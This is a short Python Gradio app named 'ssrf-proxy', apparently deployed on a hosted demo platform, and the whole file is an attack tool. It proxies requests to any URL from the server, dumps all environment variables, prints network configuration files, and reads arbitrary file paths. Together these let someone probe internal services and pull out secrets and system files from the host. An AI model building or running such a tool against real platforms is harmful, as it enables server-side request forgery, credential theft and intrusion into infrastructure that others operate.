ssrf-proxy / app.py
asdasdasadsdas's picture
add file reader
d24397c verified
import gradio as gr
import requests
import os
import socket
def fetch_url(url):
try:
r = requests.get(url, timeout=5)
status = str(r.status_code)
headers = str(dict(r.headers))
body = r.text[:2000]
return "Status: " + status + "\nHeaders: " + headers + "\nBody:\n" + body
except Exception as e:
return "Error: " + str(e)
def get_env():
lines = []
for k, v in sorted(os.environ.items()):
lines.append(k + "=" + v[:100])
return "\n".join(lines)
def net_info():
hostname = socket.gethostname()
try:
ip = socket.gethostbyname(hostname)
except Exception:
ip = "unknown"
parts = ["Hostname: " + hostname, "IP: " + ip]
try:
with open("/etc/resolv.conf") as f:
parts.append("resolv.conf:\n" + f.read())
except Exception:
pass
try:
with open("/etc/hosts") as f:
parts.append("hosts:\n" + f.read())
except Exception:
pass
return "\n".join(parts)
def read_file(path):
try:
with open(path, 'r') as f:
return f.read()[:5000]
except Exception as e:
return 'Error: ' + str(e)
with gr.Blocks() as demo:
with gr.Tab("Fetch"):
url_in = gr.Textbox(label="url")
url_out = gr.Textbox(label="output")
url_in.submit(fetch_url, url_in, url_out)
with gr.Tab("Env"):
env_btn = gr.Button("Get Env")
env_out = gr.Textbox(label="env")
env_btn.click(get_env, None, env_out)
with gr.Tab("Net"):
net_btn = gr.Button("Get Net Info")
net_out = gr.Textbox(label="net")
net_btn.click(net_info, None, net_out)
with gr.Tab("File"):
file_in = gr.Textbox(label="path")
file_out = gr.Textbox(label="content")
file_in.submit(read_file, file_in, file_out)
demo.launch()